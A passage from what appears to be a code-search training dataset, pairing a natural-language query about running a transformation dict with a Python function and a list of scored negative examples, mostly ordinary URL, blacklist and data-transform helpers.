debra.models import Brands\\n\\n # stripping urls, fetching their domains\\n brand_name_urls = [url.strip() for url in brand_name_urls if len(url) > 0]\\n if not brand_name_urls:\\n return []\\n\\n brand_domains = [domain_from_url(url) for url in brand_name_urls if len(url) > 0]\\n\\n t1 = time.time()\\n\\n queries = [Q(domain_name=value) for value in brand_domains] + [Q(name=value.upper()) for value in brand_name_urls]\\n\\n query = queries.pop()\\n\\n for item in queries:\\n query |= item\\n\\n brands = Brands.objects.exclude(blacklisted=True).filter(query)\\n\\n brands = list(brands)\\n log.info('Time passed to get brands: %s ' % (time.time() - t1))\\n return brands\",\n \"def load_urls(self, view_in_browser):\\n config = self.get_github_config_path(self.CONFIG_URL)\\n parser = configparser.RawConfigParser()\\n with open(config) as config_file:\\n try:\\n parser.read_file(config_file)\\n except AttributeError:\\n parser.readfp(config_file)\\n urls = parser.get(self.CONFIG_URL_SECTION,\\n self.CONFIG_URL_LIST)\\n urls = urls.strip()\\n excludes = ['[', ']', \\\"'\\\"]\\n for exclude in excludes:\\n urls = urls.replace(exclude, '')\\n if not view_in_browser:\\n urls = urls.replace('https://github.com/', '')\\n return urls.split(', ')\",\n \"def block_list(to_block_list, blocked_ips_list):\\n to_be_blocked_list = []\\n for host in to_block_list:\\n found_ip = False\\n host_ip = host['host']['ip_address']\\n for blocked in blocked_ips_list:\\n if blocked['ip'] == host_ip:\\n found_ip = True\\n # if we want to block already blocked IP, nothing happens,\\n # but if the host IP was not found in blocked IPs, block it\\n if not found_ip:\\n to_be_blocked_list.append(host_ip)\\n return to_be_blocked_list\",\n \"def __board_urls(self, *board_ids: str) -> List[str]:\\n urls = []\\n for board in self.__boards(*board_ids):\\n urls.append(self.__url + '/b/' + board.id + '/' + board.title.lower().replace(' ', '-'))\\n return urls if urls else [self.__url]\",\n \"def whitelist_ips(self):\\r\\n if self.whitelist == '':\\r\\n return []\\r\\n return self.IPFilterList([addr.strip() for addr in self.whitelist.split(',')]) # pylint: disable=no-member\\r\",\n \"def produce_links_search(self, value_list:list) -> list:\\n return [\\n [self.produce_link_google(f) for f in value_list],\\n [self.produce_link_qwant(f) for f in value_list],\\n [self.produce_link_bing(f) for f in value_list],\\n [self.produce_link_duckduckgo(f) for f in value_list],\\n [self.produce_link_yahoo(f) for f in value_list]\\n ]\",\n \"def get_urls(self):\\n return patterns('')\",\n \"async def ban_users(request: Request, user_list: list[User]) -> ModBan:\\n conn: Connection = request.state.db_conn\\n users = [user.user_id for user in user_list]\\n\\n records = await conn.fetch(\\\"SELECT * FROM users WHERE user_id=any($1::bigint[])\\\", tuple(users))\\n db_users = [record[\\\"user_id\\\"] for record in records]\\n\\n non_db_users = set(users) - set(db_users)\\n\\n async with conn.transaction():\\n # Ref:\\n # https://magicstack.github.io/asyncpg/current/faq.html#why-do-i-get-postgressyntaxerror-when-using-expression-in-1\\n await conn.execute(\\\"UPDATE users SET is_banned=TRUE WHERE user_id=any($1::bigint[])\\\", db_users)\\n await conn.execute(\\\"UPDATE pixel_history SET deleted=TRUE WHERE user_id=any($1::bigint[])\\\", db_users)\\n\\n await request.state.canvas.sync_cache(conn, skip_check=True)\\n\\n return ModBan(banned=db_users, not_found=list(non_db_users))\",\n \"def _filter_return_url(self, url, har=None):\\r\\n if not har:\\r\\n har = self.har\\r\\n \\r\\n matches = []\\r\\n for entry in har[\\\"log\\\"][\\\"entries\\\"]:\\r\\n if url in entry[\\\"request\\\"][\\\"url\\\"]:\\r\\n temp = entry[\\\"request\\\"][\\\"url\\\"].encode('ascii', 'ignore')\\r\\n matches.append(temp)\\r\\n return matches\",\n \"def blacklisted_file_patterns():\\n with open(\\\"patterns.txt\\\", 'r') as f:\\n lines = [line.strip() for line in f if line.strip()]\\n return set(lines)\",\n \"def attachment_type_blacklist(self, attachment_type_blacklist: ConfigNodePropertyArray):\\n\\n self._attachment_type_blacklist = attachment_type_blacklist\",\n \"def filter_thumbnail_only(_list):\\n result = list()\\n for count, href in enumerate(_list):\\n if count > 15:\\n break\\n if get_verified_response(get_thumbnail(href)).status == 200:\\n result.append(href)\\n return result\",\n \"def generate_urls(min_nb_urls: int = 0, max_nb_urls: int = 100) -> typing.List[str]:\\n nb_urls = random.randint(min_nb_urls, max_nb_urls)\\n urls = [generate_url() for _ in range(min_nb_urls, nb_urls)]\\n return urls\",\n \"def get_urls(url, list_of_urls, main_url):\\n if url in list_of_urls:\\n return list_of_urls\\n\\n try:\\n content = urlopen(url).read()\\n soup = BeautifulSoup(content, \\\"html.parser\\\")\\n list_of_urls.append(url)\\n\\n links = [urljoin(url, link.get('href')) for link in soup.find_all('a') if not urljoin(url,\\n link.get('href')).endswith(EXTENSIONS)]\\n for link in links:\\n if link.startswith(main_url) and link not in list_of_urls:\\n list_of_urls = get_urls(link, list_of_urls, main_url)\\n\\n except urllib.error.HTTPError or ValueError:\\n pass\\n\\n return list_of_urls\",\n \"def get_urls(self):\\n urls = []\\n params = ['<{}>'.format(x) for x in self.args]\\n args_length = len(self.args) - len(self.defaults)\\n for i in range(len(self.defaults) + 1):\\n index = -i if i > args_length else None\\n urls.append(self.get_url(params[:index]))\\n return urls\",\n \"def urlpatterns(self) -> list:\\n raise NotImplementedError()\",\n \"def _filter_blacklist(self, fields, blacklist):\\r\\n fields['children'] = [child for child in fields.get('children', []) if child not in blacklist]\\r\\n return fields\",\n \"def URLs(self, default=[{}]):\\n tmp = self.data.get('urls', default)\\n return [HEP.URLObject(i) for i in tmp]\",\n \"def test_remove_from_blacklist(self):\\n\\n self.feature_test.add_to_blacklist(3)\\n self.feature_test.remove_from_blacklist(3)\\n self.assertFalse(3 in Feature(\\\"testing\\\").blacklist)\",\n \"async def get_blacklisted_users() -> list:\\n async with aiosqlite.connect(DATABASE_PATH) as db:\\n async with db.execute(\\n \\\"SELECT user_id, strftime('%s', created_at) FROM blacklist\\\"\\n ) as cursor:\\n result = await cursor.fetchall()\\n return result\",\n \"def get_urls(argument_urls: Optional[str] = None) -> List[str]:\\n if argument_urls:\\n raw_urls = argument_urls\\n elif 'amqp_url' in config:\\n raw_urls = config['amqp_url']\\n elif 'AMQP_SERVERS' in environ:\\n raw_urls = environ['AMQP_SERVERS']\\n else:\\n raise ValueError('AMQP server url is not configured')\\n\\n return [process_url(url) for url in raw_urls.split(',')]\",\n \"def negative_filtering(patterns: list, file_list):\\n if len(patterns) == 0:\\n return file_list\\n prog = re.compile(patterns.pop())\\n it = (i for i in file_list if not prog.search(i))\\n return negative_filtering(patterns, it)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.67311","0.67156696","0.66505307","0.6576072","0.6518747","0.6418503","0.6418085","0.63344425","0.6133395","0.60442084","0.5939","0.59096384","0.5879145","0.5876669","0.5847612","0.5847537","0.5801166","0.5793875","0.57607865","0.5706794","0.56880635","0.5661627","0.5659025","0.56476617","0.5633774","0.56330717","0.5621618","0.5617702","0.5611504","0.56102663","0.55867904","0.55798507","0.55719423","0.5564039","0.5560135","0.55597353","0.5558414","0.55461574","0.5541853","0.554008","0.55396396","0.5538653","0.5528512","0.5506143","0.54931563","0.548377","0.546545","0.54534036","0.5440312","0.54319793","0.543151","0.5416911","0.5416531","0.5395123","0.5386475","0.5370991","0.5367831","0.5364441","0.5349243","0.5348884","0.53423786","0.5341245","0.5340029","0.53378767","0.5332775","0.53212154","0.5315405","0.53150016","0.5309503","0.53036875","0.5302024","0.52985823","0.5298205","0.529525","0.528918","0.52844375","0.52803016","0.52733076","0.52666914","0.52625823","0.52482456","0.5238496","0.5237652","0.52236754","0.522127","0.5218471","0.5217674","0.5211654","0.51973456","0.519604","0.5194824","0.5190357","0.51847166","0.51826787","0.5181328","0.5179859","0.51734746","0.51701766","0.5161626","0.51582557"],"string":"[\n \"0.67311\",\n \"0.67156696\",\n \"0.66505307\",\n \"0.6576072\",\n \"0.6518747\",\n \"0.6418503\",\n \"0.6418085\",\n \"0.63344425\",\n \"0.6133395\",\n \"0.60442084\",\n \"0.5939\",\n \"0.59096384\",\n \"0.5879145\",\n \"0.5876669\",\n \"0.5847612\",\n \"0.5847537\",\n \"0.5801166\",\n \"0.5793875\",\n \"0.57607865\",\n \"0.5706794\",\n \"0.56880635\",\n \"0.5661627\",\n \"0.5659025\",\n \"0.56476617\",\n \"0.5633774\",\n \"0.56330717\",\n \"0.5621618\",\n \"0.5617702\",\n \"0.5611504\",\n \"0.56102663\",\n \"0.55867904\",\n \"0.55798507\",\n \"0.55719423\",\n \"0.5564039\",\n \"0.5560135\",\n \"0.55597353\",\n \"0.5558414\",\n \"0.55461574\",\n \"0.5541853\",\n \"0.554008\",\n \"0.55396396\",\n \"0.5538653\",\n \"0.5528512\",\n \"0.5506143\",\n \"0.54931563\",\n \"0.548377\",\n \"0.546545\",\n \"0.54534036\",\n \"0.5440312\",\n \"0.54319793\",\n \"0.543151\",\n \"0.5416911\",\n \"0.5416531\",\n \"0.5395123\",\n \"0.5386475\",\n \"0.5370991\",\n \"0.5367831\",\n \"0.5364441\",\n \"0.5349243\",\n \"0.5348884\",\n \"0.53423786\",\n \"0.5341245\",\n \"0.5340029\",\n \"0.53378767\",\n \"0.5332775\",\n \"0.53212154\",\n \"0.5315405\",\n \"0.53150016\",\n \"0.5309503\",\n \"0.53036875\",\n \"0.5302024\",\n \"0.52985823\",\n \"0.5298205\",\n \"0.529525\",\n \"0.528918\",\n \"0.52844375\",\n \"0.52803016\",\n \"0.52733076\",\n \"0.52666914\",\n \"0.52625823\",\n \"0.52482456\",\n \"0.5238496\",\n \"0.5237652\",\n \"0.52236754\",\n \"0.522127\",\n \"0.5218471\",\n \"0.5217674\",\n \"0.5211654\",\n \"0.51973456\",\n \"0.519604\",\n \"0.5194824\",\n \"0.5190357\",\n \"0.51847166\",\n \"0.51826787\",\n \"0.5181328\",\n \"0.5179859\",\n \"0.51734746\",\n \"0.51701766\",\n \"0.5161626\",\n \"0.51582557\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6910591"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80098,"cells":{"query":{"kind":"string","value":"Runs a transformation that is specified as a dict of checksums, such as returned by highlevel.Transformer.get_transformation_dict"},"document":{"kind":"string","value":"def run_transformation_dict(transformation_dict, result_callback=None):\n # TODO: add type annotation and all kinds of validation...\n from .. import database_sink\n\n transformation_buffer = tf_get_buffer(transformation_dict)\n transformation = calculate_checksum(transformation_buffer)\n cache_buffer(transformation, transformation_buffer)\n increfed = _register_transformation_dict(\n transformation, transformation_buffer, transformation_dict\n )\n if multiprocessing.current_process().name != \"MainProcess\":\n assert database_sink.active\n result_checksum, prelim = transformation_cache._get_transformation_result(\n transformation\n )\n if result_checksum is not None and not prelim:\n metalike, syntactic_cache = None, []\n else:\n assert _parent_process_queue is not None\n metalike = {}\n for k in (\"__compilers__\", \"__languages__\", \"__meta__\"):\n if k in transformation_dict:\n metalike[k] = transformation_dict[k]\n meta = metalike.get(\"__meta__\")\n if meta is None:\n meta = {}\n metalike[\"__meta__\"] = meta\n if meta.get(\"local\") is None:\n # local (fat) by default\n meta[\"local\"] = True\n syntactic_cache = []\n for k in transformation_dict:\n if k.startswith(\"__\"):\n continue\n celltype, subcelltype, sem_checksum = transformation_dict[k]\n if syntactic_is_semantic(celltype, subcelltype):\n continue\n semkey = (bytes.fromhex(sem_checksum), celltype, subcelltype)\n syn_checksum = transformation_cache.semantic_to_syntactic_checksums[\n semkey\n ][0]\n syn_buffer = get_buffer(syn_checksum)\n assert syn_buffer is not None\n syntactic_cache.append((celltype, subcelltype, syn_buffer))\n else:\n metalike, syntactic_cache = None, []\n\n output_celltype = transformation_dict[\"__output__\"][1]\n _queued_transformations.append(\n (\n result_callback,\n transformation.hex(),\n transformation_dict,\n metalike,\n syntactic_cache,\n increfed,\n output_celltype,\n )\n )\n if result_callback is None:\n return _wait()[0]\n else:\n return"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["async def run_transformation_dict_async(transformation_dict):\n # TODO: add type annotation and all kinds of validation...\n transformation_buffer = tf_get_buffer(transformation_dict)\n transformation = calculate_checksum(transformation_buffer)\n cache_buffer(transformation, transformation_buffer)\n increfed = _register_transformation_dict(\n transformation, transformation_buffer, transformation_dict\n )\n try:\n result_checksum = await run_transformation_async(transformation)\n celltype = transformation_dict[\"__output__\"][1]\n result_buffer = get_buffer(result_checksum) # does this raise CacheMissError?\n return await deserialize_async(\n result_buffer, result_checksum, celltype, copy=True\n )\n finally:\n # For some reason, the logic here is different than for the sync version (see _wait())\n if (\n increfed\n and increfed\n in transformation_cache.transformations_to_transformers.get(\n transformation, []\n )\n ):\n transformation_cache.decref_transformation(transformation_dict, increfed)\n temprefmanager.purge_group(\"imperative\")","def apply(s, transformation_s, target=None):\n if target is None: target = {}\n\n if not isinstance(transformation_s, dict):\n for transformation in transformation_s:\n target = s.apply(transformation, target)\n return target\n\n transformation = transformation_s\n for key, value in transformation.items():\n s._merge_key_into_dict(key, value, target)\n return target","def contract(s, transformations, asYAML=False):\n target = {}\n\n # if a string or bytes => assume it is YAML or JSON\n if isinstance(transformations, str):\n transformations = s.load(transformations)\n elif isinstance(transformations, bytes):\n transformations = s.load(transformations.decode())\n\n for transformation in transformations:\n s.apply(transformation, target)\n\n if asYAML: return s.toYAML(target)\n else: return target","def transform():\n pass","def run(self, ct_data, state):\n transformed_input = copy.deepcopy(ct_data)\n output = self.model.run(ct_data, state)\n result = {\"output\": output, \"transformed input\": transformed_input}\n return result","def transform():","def apply_transform(key, data, transform_list):\n for transform in transform_list:\n method_name = transform[MethodKeys.METHOD]\n method_params = transform[MethodKeys.PARAMETERS]\n\n if method_name == 'compute_and_apply_vocabulary':\n method_params.update({'vocab_filename': key})\n\n data = TransformMethods.get_method(method_name)(data,\n **method_params)\n return data","def _apply_transform(self):\n pass","def get_transform_fn():","def get_transform_dict(args):\n img_size = IMG_SIZE[args.dataset]\n padding = int(\n 0.125 * img_size\n ) # default value is to choose padding size as 12.5% of image size\n return {\n \"train\": MixMatchTransform.default(\n args.dataset, k=1, img_size=img_size, padding=padding\n ),\n \"train_unlabeled\": MixMatchTransform.default(\n args.dataset, k=args.num_augmentations, img_size=img_size, padding=padding\n ),\n \"test\": get_normalizer(args.dataset),\n }","def perform_generation_transforms(mappings, df, output_file, dicts):\n out = open(output_file, 'w')\n for index in df.index:\n mappings_copy = copy.deepcopy(mappings)\n sub_maps = list(item_generator(mappings_copy, 'transforms'))\n for sub_map in filter(lambda x: isinstance(x, dict), sub_maps):\n sub_map_copy = copy.deepcopy(sub_map)\n for key in dict(filter(lambda x: 'transforms' in x[1],\n sub_map_copy.items())):\n for transform in filter(lambda x: 'type' in x and x['type'] in\n available_transforms,\n sub_map_copy[key]['transforms']):\n available_transforms[transform['type']](\n sub_map, key, transform, df, index, dicts)\n if key in sub_map and 'transforms' in sub_map[key]:\n del sub_map[key]['transforms']\n for sub_map in filter(lambda x: isinstance(x, list), sub_maps):\n sub_map_copy = copy.deepcopy(sub_map)\n list_index = 0\n for list_item in filter(lambda x: isinstance(x, dict) and\n 'transforms' in x, sub_map_copy):\n mapping_size = len(sub_map)\n for transform in filter(lambda x: 'type' in x and\n x['type'] in available_transforms,\n list_item['transforms']):\n if not list_index >= len(sub_map):\n available_transforms[transform['type']](\n sub_map, list_index, transform, df, index, dicts)\n if (not list_index >= len(sub_map) and\n 'transforms' in sub_map[list_index]):\n del sub_map[list_index]['transforms']\n if mapping_size == len(sub_map):\n list_index += 1\n fill_json_values('sourceCol', mappings_copy, df, index)\n out.write(json.dumps(mappings_copy) + '\\n')\n out.close()\n return df","def _apply_transforms(self, inputs: Dict) -> Dict:\n results = inputs.copy()\n inputs = {k: v for k, v in inputs.items() if v is not IgnoreKey}\n outputs = self.transforms(inputs)\n\n if outputs is None:\n raise ValueError(\n f'Transforms wrapped by {self.__class__.__name__} should '\n 'not return None.')\n\n results.update(outputs) # type: ignore\n return results","def compute_transformed(context, key_composite):\n\n kdf_parameters = context.header.value.dynamic_header.kdf_parameters.data.dict\n\n if kdf_parameters['$UUID'].value == kdf_uuids['argon2']:\n transformed_key = argon2.low_level.hash_secret_raw(\n secret=key_composite,\n salt=kdf_parameters['S'].value,\n hash_len=32,\n type=argon2.low_level.Type.D,\n time_cost=kdf_parameters['I'].value,\n memory_cost=kdf_parameters['M'].value // 1024,\n parallelism=kdf_parameters['P'].value,\n version=kdf_parameters['V'].value\n )\n elif kdf_parameters['$UUID'].value == kdf_uuids['aes']:\n # set up a context for AES128-ECB encryption to find transformed_key\n cipher = AES.new(kdf_parameters['S'].value, AES.MODE_ECB)\n\n # get the number of rounds from the header and transform the key_composite\n rounds = kdf_parameters['R'].value\n transformed_key = key_composite\n for _ in range(0, rounds):\n transformed_key = cipher.encrypt(transformed_key)\n\n transformed_key = hashlib.sha256(transformed_key).digest()\n else:\n raise Exception('Unsupported key derivation method')\n\n return transformed_key","def transform(self, results: Dict) -> Dict:\n\n # Apply mapping\n inputs = self._map_input(results, self.mapping)\n # Apply wrapped transforms\n outputs = self._apply_transforms(inputs)\n # Apply remapping\n outputs = self._map_output(outputs, self.remapping)\n\n results.update(outputs) # type: ignore\n return results","def transform(self, unit, transformation):\n command = 'transform {} {}'.format(unit, transformation)\n command = command.replace(r'[', '{{').replace(r']', '}}')\n command = command.replace('\\n', '').replace(' ', ' ')\n self.add_commands(command)","def run(output_dir, data_dict, transform_func):\n logger.info('BEGIN TransformStage')\n\n # Reorganize data - Dict (key=filename, value=df)\n dfs = {os.path.split(k)[1].split('.')[0]: df\n for k, (_, df) in data_dict.items()\n }\n\n # Make dataframes\n df_out = transform_func(dfs)\n\n write_output(output_dir, df_out)\n\n logger.info('END TransformStage')\n\n return df_out","def apply(input, output, fields, delimiter, encoding, verbose, format_in, zipfile, script, filter):\n if verbose:\n enableVerbose()\n options = {}\n options['delimiter'] = delimiter\n options['fields'] = fields\n options['output'] = output\n options['encoding'] = encoding\n options['format_in'] = format_in\n options['zipfile'] = zipfile\n options['filter'] = filter\n options['script'] = script\n acmd = Transformer()\n acmd.script(input, options)\n pass","def transform(self, source: dict) -> dict:\n pass","def run_transform(i_fn, o_fn):\n if not (all(is_bed(fn) for fn in [i_fn, o_fn]) or all(is_vcf(fn) for fn in [i_fn, o_fn])):\n raise ValueError(\"Input and output must be both BED or VCF\")\n with get_reader(i_fn) as reader:\n with get_writer(o_fn, reader.samples) as writer:\n for r in reader:\n writer.writeRecord(transform_coordinate_of_sv(r))","def test_transform_output(argument_pair):\n ...","def transform(config, data, transfo, *args, **kwargs):\n \n# stderr.write(str((config, data, transfo) + args) + \"\\n\")\n pipe = ktpipes.KtPipe.from_json(config[transfo])\n\n return pipe.fit_transform(get_raw(data))","def execution_transfer_script(self, resources):\n\n # fixme -- json is an inefficient pickle.\n # - slow\n # - nodes will need to be dealiased again.\n #\n manifest_s = repr(json.dumps(self.data.manifest()))\n canonical_s = repr(json.dumps(self.data.canonical()))\n resources_s = repr(resources)\n\n # this doesn't get carried on the other side\n default_region = _get_default_region()\n\n hooks = \"\\n\".join(runtime.add_user_hook._hooks)\n\n return \"\"\"#!/usr/bin/env python3\nimport bunnies.runtime\nimport bunnies.constants as C\nfrom bunnies.unmarshall import unmarshall\nimport os, os.path\nimport json\nimport logging\nlog = logging.getLogger()\n\n# USER HOOKS START\n%(hooks)s\n# USER HOOKS END\n\nuid_s = %(uid_s)s\n\ncanonical_s = %(canonical_s)s\n\nmanifest_s = %(manifest_s)s\n\nmanifest_obj = json.loads(manifest_s)\n\ncanonical_obj = json.loads(canonical_s)\n\nbunnies.setup_logging()\n\n# this is for align binaries\nos.environ['AWS_REGION'] = %(default_region)s\n# this is for the boto client\nos.environ['AWS_DEFAULT_REGION'] = %(default_region)s\n\ntransform = unmarshall(manifest_obj)\nlog.info(\"%%s\", json.dumps(manifest_obj, indent=4))\n\nparams = {\n 'workdir': os.environ.get('BUNNIES_WORKDIR'),\n 'scriptdir': os.path.dirname(__file__),\n 'job_id': os.environ.get('BUNNIES_JOBID'),\n 'resources': %(resources_s)s\n }\n\nbunnies.runtime.setenv_batch_metadata()\nenv_copy = dict(os.environ)\n\n# core of the work\noutput = transform.run(**params)\n\n# write results\nresult_path = os.path.join(transform.output_prefix(), C.TRANSFORM_RESULT_FILE)\nbunnies.runtime.update_result(result_path,\n output=output,\n manifest=manifest_obj,\n canonical=canonical_obj,\n environment=env_copy)\n\"\"\" % {\n 'manifest_s': manifest_s,\n 'canonical_s': canonical_s,\n 'default_region': repr(default_region),\n 'uid_s': repr(self.uid),\n 'hooks': hooks,\n 'resources_s': resources_s\n}","def _compute_transforms(self):\n res_scale_ref = self.params.res_scale_ref.value.strip().lower()\n assert res_scale_ref in ['zero'] # TODO: , 'mean', 'median']\n\n reco_param_source = self.params.reco_paramfile.value\n\n if reco_param_source is None:\n raise ValueError(\n 'non-None reco parameterization params.reco_paramfile'\n ' must be provided'\n )\n\n reco_param_hash = hash_obj(reco_param_source)\n\n if (self._reco_param_hash is None\n or reco_param_hash != self._reco_param_hash):\n reco_param = load_reco_param(reco_param_source)\n\n # Transform groups are implicitly defined by the contents of the\n # reco paramfile's keys\n implicit_transform_groups = reco_param.keys()\n\n # Make sure these match transform groups specified for the stage\n if set(implicit_transform_groups) != set(self.transform_groups):\n raise ValueError(\n 'Transform groups (%s) defined implicitly by'\n ' %s reco parameterizations do not match those'\n ' defined as the stage\\'s `transform_groups` (%s).'\n % (implicit_transform_groups, reco_param_source,\n self.transform_groups)\n )\n\n self.param_dict = reco_param\n self._reco_param_hash = reco_param_hash\n\n self.eval_dict = self.evaluate_reco_param()\n self.reco_scales_and_biases_applicable()\n\n # everything seems to be fine, so rescale and shift distributions\n eval_dict = self.scale_and_shift_reco_dists()\n\n # Computational units must be the following for compatibility with\n # events file\n comp_units = dict(\n true_energy='GeV', true_coszen=None, true_azimuth='rad',\n reco_energy='GeV', reco_coszen=None, reco_azimuth='rad', pid=None\n )\n\n # Select only the units in the input/output binning for conversion\n # (can't pass more than what's actually there)\n in_units = {dim: unit for dim, unit in comp_units.items()\n if dim in self.input_binning}\n out_units = {dim: unit for dim, unit in comp_units.items()\n if dim in self.output_binning}\n\n # These binnings will be in the computational units defined above\n input_binning = self.input_binning.to(**in_units)\n output_binning = self.output_binning.to(**out_units)\n en_centers_in = self.input_binning['true_energy'].weighted_centers.magnitude\n en_edges_in = self.input_binning['true_energy'].bin_edges.magnitude\n cz_centers_in = self.input_binning['true_coszen'].weighted_centers.magnitude\n cz_edges_in = self.input_binning['true_coszen'].bin_edges.magnitude\n en_edges_out = self.output_binning['reco_energy'].bin_edges.magnitude\n cz_edges_out = self.output_binning['reco_coszen'].bin_edges.magnitude\n\n n_e_in = len(en_centers_in)\n n_cz_in = len(cz_centers_in)\n n_e_out = len(en_edges_out)-1\n n_cz_out = len(cz_edges_out)-1\n\n if self.coszen_flipback:\n cz_edges_out, flipback_mask, keep = \\\n self.extend_binning_for_coszen(ext_low=-3., ext_high=+3.)\n\n xforms = []\n for xform_flavints in self.transform_groups:\n logging.debug(\"Working on %s reco kernel...\" %xform_flavints)\n\n this_params = eval_dict[xform_flavints]\n reco_kernel = np.zeros((n_e_in, n_cz_in, n_e_out, n_cz_out))\n\n for (i,j) in itertools.product(range(n_e_in), range(n_cz_in)):\n e_kern_cdf = self.make_cdf(\n bin_edges=en_edges_out,\n enval=en_centers_in[i],\n enindex=i,\n czval=None,\n czindex=j,\n dist_params=this_params['energy']\n )\n cz_kern_cdf = self.make_cdf(\n bin_edges=cz_edges_out,\n enval=en_centers_in[i],\n enindex=i,\n czval=cz_centers_in[j],\n czindex=j,\n dist_params=this_params['coszen']\n )\n\n if self.coszen_flipback:\n cz_kern_cdf = perform_coszen_flipback(\n cz_kern_cdf, flipback_mask, keep\n )\n\n reco_kernel[i,j] = np.outer(e_kern_cdf, cz_kern_cdf)\n\n # Sanity check of reco kernels - intolerable negative values?\n logging.trace(\" Ensuring reco kernel sanity...\")\n kern_neg_invalid = reco_kernel < -EQUALITY_PREC\n if np.any(kern_neg_invalid):\n raise ValueError(\"Detected intolerable negative entries in\"\n \" reco kernel! Min.: %.15e\"\n % np.min(reco_kernel))\n\n # Set values numerically compatible with zero to zero\n np.where(\n (np.abs(reco_kernel) < EQUALITY_PREC), reco_kernel, 0\n )\n sum_over_axes = tuple(range(-len(self.output_binning), 0))\n totals = np.sum(reco_kernel, axis=sum_over_axes)\n totals_large = totals > (1 + EQUALITY_PREC)\n if np.any(totals_large):\n raise ValueError(\"Detected overflow in reco kernel! Max.:\"\n \" %0.15e\" % (np.max(totals)))\n\n if self.input_binning.basenames[0] == \"coszen\":\n # The reconstruction kernel has been set up with energy as its\n # first dimension, so swap axes if it is applied to an input\n # binning where 'coszen' is the first\n logging.trace(\" Swapping kernel dimensions since 'coszen' has\"\n \" been requested as the first.\")\n reco_kernel = np.swapaxes(reco_kernel, 0, 1)\n reco_kernel = np.swapaxes(reco_kernel, 2, 3)\n\n\n if self.sum_grouped_flavints:\n xform_input_names = []\n for input_name in self.input_names:\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\n continue\n xform_input_names.append(input_name)\n\n for output_name in self.output_names:\n if output_name not in xform_flavints:\n continue\n xform = BinnedTensorTransform(\n input_names=xform_input_names,\n output_name=output_name,\n input_binning=self.input_binning,\n output_binning=self.output_binning,\n xform_array=reco_kernel,\n sum_inputs=self.sum_grouped_flavints\n )\n xforms.append(xform)\n # If *not* combining grouped flavints:\n # Copy the transform for each input flavor, regardless if the\n # transform is computed from a combination of flavors.\n else:\n for input_name in self.input_names:\n if set(NuFlavIntGroup(input_name)).isdisjoint(xform_flavints):\n continue\n for output_name in self.output_names:\n if (output_name not in NuFlavIntGroup(input_name)\n or output_name not in xform_flavints):\n continue\n logging.trace(' input: %s, output: %s, xform: %s',\n input_name, output_name, xform_flavints)\n\n xform = BinnedTensorTransform(\n input_names=input_name,\n output_name=output_name,\n input_binning=self.input_binning,\n output_binning=self.output_binning,\n xform_array=reco_kernel,\n sum_inputs=self.sum_grouped_flavints\n )\n xforms.append(xform)\n\n return TransformSet(transforms=xforms)","def transform(self, data, input_content_type, output_content_type):\n return self.transform_fn(data, input_content_type, output_content_type)","def generate_transforms_data(image1_data, image2_data):\n\n transformations = dict(\n unchanged=Transform('unchanged', image1_data, image2_data),\n reflected_vert=Transform(\n 'reflected_vert', image1_data, image2_data),\n reflected_horiz=Transform(\n 'reflected_horiz', image1_data, image2_data),\n rotated_90=Transform('rotated_90', image1_data, image2_data),\n rotated_180=Transform('rotated_180', image1_data, image2_data),\n rotated_270=Transform('rotated_270', image1_data, image2_data)\n )\n\n transformations_names = [\n 'unchanged',\n 'reflected_vert',\n 'reflected_horiz',\n 'rotated_90',\n 'rotated_180',\n 'rotated_270'\n ]\n\n best_match = transformations['unchanged']\n for transformation in transformations_names:\n if transformations[transformation].match > best_match.match:\n best_match = transformations[transformation]\n if best_match.match > .98:\n break\n return {best_match.name: best_match}","def apply(\n self,\n input_dict: typing_utils.ArtifactMultiMap,\n ) -> typing_utils.ArtifactMultiMap:","def simulator_transform(input_dict, operation):\n # set the random state\n random_state = np.random.RandomState(0)\n random_state.set_state(input_dict[\"random_state\"])\n batch_size = input_dict[\"n\"]\n data = operation(*input_dict[\"data\"], batch_size=batch_size, random_state=random_state)\n if not isinstance(data, np.ndarray):\n raise ValueError(\"Simulation operation output type incorrect.\" +\n \"Expected type np.ndarray, received type {}\".format(type(data)))\n if data.shape[0] != batch_size or len(data.shape) < 2:\n raise ValueError(\"Simulation operation output format incorrect.\" +\n \" Expected shape == ({}, ...).\".format(batch_size) +\n \" Received shape == {}.\".format(data.shape))\n return to_output_dict(input_dict, data=data, random_state=random_state.get_state())","def transform(self, dataset, params=None):\n if params is None:\n params = dict()\n if isinstance(params, dict):\n if params:\n return self.copy(params)._transform(dataset)\n else:\n return self._transform(dataset)\n else:\n raise ValueError(\"Params must be a param map but got %s.\" % type(params))","def add_transform(transform, filename, lineno):\n\n # strip off transform\n s = transform[10:]\n # make error messages familiar\n transform = \"<\" + transform + \">\"\n\n try:\n index = s.index(\"->\")\n except ValueError:\n raise RuntimeError(_(\"Missing -> in transform\"))\n matching = s[0:index].strip().split()\n types = [a for a in matching if \"=\" not in a]\n attrdict = pkg.actions.attrsfromstr(\" \".join([a for a in matching if \"=\" in a]))\n\n for a in attrdict:\n try:\n attrdict[a] = re.compile(attrdict[a])\n except re.error as e:\n raise RuntimeError(\n _(\"transform ({transform}) has regexp error \"\n \"({err}) in matching clause\"\n ).format(transform=transform, err=e))\n\n op = s[index+2:].strip().split(None, 1)\n\n # use closures to encapsulate desired operation\n\n if op[0] == \"drop\":\n if len(op) > 1:\n raise RuntimeError(\n _(\"transform ({0}) has 'drop' operation syntax error\"\n ).format(transform))\n operation = lambda a, m, p, f, l: None\n\n elif op[0] == \"set\":\n try:\n attr, value = shlex.split(op[1])\n except ValueError:\n raise RuntimeError(\n _(\"transform ({0}) has 'set' operation syntax error\"\n ).format(transform))\n def set_func(action, matches, pkg_attrs, filename, lineno):\n newattr = substitute_values(attr, action, matches,\n pkg_attrs, filename, lineno)\n newval = substitute_values(value, action, matches,\n pkg_attrs, filename, lineno)\n if newattr == \"action.hash\":\n if hasattr(action, \"hash\"):\n action.hash = newval\n else:\n action.attrs[newattr] = newval\n return action\n operation = set_func\n\n elif op[0] == \"default\":\n try:\n attr, value = shlex.split(op[1])\n except ValueError:\n raise RuntimeError(\n _(\"transform ({0}) has 'default' operation syntax error\"\n ).format(transform))\n\n def default_func(action, matches, pkg_attrs, 